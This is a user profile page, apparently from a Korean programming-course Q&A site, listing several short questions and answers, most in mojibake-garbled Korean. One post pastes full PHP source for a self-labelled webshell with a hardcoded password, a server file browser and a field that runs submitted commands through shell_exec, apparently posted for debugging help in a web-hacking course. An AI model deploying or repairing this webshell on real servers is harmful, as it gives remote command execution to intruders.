spacepig
@spacepig
Reviews Written
2
Average Rating
5.0
์ฐ์ฃผ์์ ์ด๊ณ ์๋ ๋์ง์ ๋๋น
Posts
Q&A
์คํ์ ๊ธ์๊ฐ ๊นจ์ง๋๋ค.
์ ๋์ฝ๋ ๋ฌธ์ ์๋๊น์?
- 0
- 1
- 286
Q&A
์๋ฒ๊ฐ ์ ๋ฐ์ดํธ๊ฐ ์ ๋ผ์...
๊ทธ๊ฑฐ๋ ์ ์ธ๋ด๋์ด 8080๋ค์ ?id=hojun&pw=1234๋ฅผ ์ ๋ ฅํ์ง ์์ผ์ ์ ๊ทธ๋์.
- 0
- 1
- 335
Q&A
์ฃ์กํฉ๋๋ค;; ๋ ์๋ฌ๊ฐ ๋๋ค์(ํด๊ฒฐํด์ฃผ์ธ์.)
์ ๊ฐ ํ ์์๋ ๋งํผ์ ํด๋ณธ๊ฒ ๊ฐ์๋ฐใ ๊ณ์ ์ํธ๋ฅผ ์ ๋ ฅํด๋ใ ๋ฐ์์ ์ํด์ใ ใ ์์ค์ใ ใ ใ session_start(); header("Content-Type: text/html; charset=UTF-8"); $mode = $_REQUEST["mode"]; $path = $_REQUEST["path"]; $page = basename($_SERVER["PHP_SELF"]); $inputPW = $_POST["inputPw"]; $accessPw = "jorkdhnghks6352"; ##!access password!## $accessFlag = $_SESSION["accessFlag"]; if($accessFlag == "Y") { if(empty($path)){ $tempFileName = basename(__FILE__); $tempPath = realpath(__FILE__); $path = str_replace($tempFileName, "", $tempPath); $path = str_replace("\\", "/", $path); } else { $path = realpath($path)."/"; $path = str_replace("\\", "/", $path); } # Dir list retuurn function function getDirList($getPath) { $listArr = array(); $handler = opendir($getPath); while($file = readdir($handler)) { if(is_dir($getPath.$file) == "1") { $listArr[] = $file; } } closedir($handler); return $listArr; } #File List return function function getFileList($getPath) { $listArr = array(); $handler = opendir($getPath); while($file = readdir($handler)) { if(is_dir($getPath.$file) != "1") { $listArr[] = $file; } } closedir($handler); return $listArr; } } if ($mode == "login" && ($accessPW == $inputPW)) { $_SESSION["accessFlag"] = "Y"; echo "location.href= '{$page}'"; exit(); } ?> SPACEPIG's Webshell Login at SPACEPIG's Webshell 1.0.1 BETA ?mode=login" method="POST"> PassWord Auth Webshell ver.0.0.1.Beta Created by Spacepig >?mode=fileBrowser">File Browser >?mode=command">Command Execution >?mode=logout">Logout ?mode=fileBrowser" metho="GET"> Current Path "> Move Name Type Date $dirList = getDirList($path); for($i=0; $i if($dirList[$i] != ".") { $dirDate = date("Y-m-d H:i", filemtime($path.$dirList[$i])); ?> ?mode=fileBrowser&path="> Directory } ?> $fileList = getFileList($path); for($i=0; $i $fileDate = date("Y-m-d H:i", filemtime($path.$fileList[$i])); ?> File ?mode=command" method="POST"> Command "> Execution if(!empty($_POST["command"])) { echo ""; $result = shell_exec($_POST["command"]); $result = str_replace("\n", "", $result); $result = iconv("CP949", "UTF-8", $result); echo "๐๐๐๐๐๐", "", $result; } ?> Copyrightยฉ 2022, Spacepig, All rights reserved.
- 2
- 3
- 368
Q&A
์ .content๋ฅผ ํ๋ฉด contentํด๋์ค๋ฅผ ์ธ์ํ์ง ๋ชปํ์ฃ ??
์ ํด๊ฒฐ๋์ต๋๋ค
- 0
- 2
- 365
Q&A
500 error
lines 4์ $mode = $_REQUEST["mode"] ๊ฐ ์๋๋ผ $mode = $_REQUEST["mode"];๋ก ํด์ผํฉ๋๋ค
- 1
- 2
- 298




